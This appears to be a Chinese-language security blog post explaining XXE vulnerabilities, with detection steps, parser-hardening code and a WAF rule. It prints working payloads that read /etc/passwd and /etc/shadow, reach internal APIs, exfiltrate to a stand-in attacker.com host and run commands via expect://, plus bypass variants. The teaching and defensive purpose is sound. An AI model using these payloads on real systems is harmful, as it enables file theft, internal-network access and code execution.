XXE漏洞的简单介绍

2025-02-14 27 0

1. 漏洞定义

XXE(XML外部实体注入) 是一种利用XML解析器处理外部实体时的安全缺陷,攻击者通过注入恶意外部实体,实现敏感数据读取、服务器端请求伪造(SSRF)或远程代码执行(RCE)。

2. 漏洞原理

外部实体声明:XML允许在DOCTYPE中定义实体,包括引用外部资源:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&ampxxe;</data>
  • 解析器行为:未严格配置的解析器会解析并返回外部实体内容,如读取本地文件、发起网络请求等。

3. 攻击场景

敏感文件泄露:

<!ENTITY xxe SYSTEM "file:///etc/shadow">

SSRF攻击:

<!ENTITY xxe SYSTEM "http://internal-api:8080/secrets">

盲注XXE:通过DNS或HTTP请求外带数据:

<!ENTITY % dtd SYSTEM "http://attacker.com/collect?data=exfil">

PHP expect RCE(需特定环境):

<!ENTITY xxe SYSTEM "expect://id">

4. 漏洞检测方法

手动检测:

<!-- 基本Payload -->
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&ampxxe;</root>

<!-- 盲注检测 -->
<!DOCTYPE test [
  <!ENTITY % remote SYSTEM "http://dnslog.cn">
  %remote;
]>

工具检测:

Burp Suite:Scanner模块自动识别XXE流量特征

XXEinjector:自动化利用工具,支持多种协议外带数据

OOB测试:使用Interactsh生成带外检测域名

5. 漏洞修复方案

代码层修复
禁用外部实体(以Java为例):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

PHP修复:

libxml_disable_entity_loader(true);

.NET修复:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

架构层加固
输入过滤:拦截包含<!DOCTYPE或SYSTEM关键字的XML内容

协议限制:禁止XML解析器使用file、http、ftp等协议

WAF规则:

# 拦截XXE特征
if ($request_body ~* "<!ENTITY.*SYSTEM") {
  deny all;
}

6. 绕过手法与进阶攻击

UTF-7编码绕过:

+ADw-+ACE-DOCTYPE foo+AFs- +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4- +AD4-

XInclude注入(当无法控制XML头时):

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

SVG文件XXE:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="expect://ls"></image>
</svg>

御矩阵

防护层级                         具体措施                                      实施示例
代码层                            安全XML解析配置                    禁用DTD、外部实体
运维层                            文件上传过滤                           禁止上传SVG/Office文档
网络层                           出站协议限制                            阻断XML解析器的外连请求
监控层                           异常日志告警                           监控XML解析错误日志

9. 测试验证流程

  1. 环境搭建:
# 使用vulhub快速搭建测试环境
git clone https://github.com/vulhub/vulhub
cd vulhub/xxe
docker-compose up -d

2.漏洞验证:

POST /xml.php HTTP/1.1
Host: vuln-server
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&ampxxe;</root>

总结:XEE漏洞的防御需要从XML解析器安全配置、输入过滤、协议限制等多维度构建防御体系,同时结合持续监控和渗透测试确保防护有效性。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

甲方安全何时需要自研安全产品?安全平台工程团队的价值与落地策略
Burpsuite基础使用教程
Kali linux hping3基础使用方法
DouCo DouPHP 安全漏洞(CVE-2024-57599)
9万个WordPress站点面临本地文件包含漏洞攻击
从中国视角看 NSA(方程式组织)的 TTP(攻击套路)

发布评论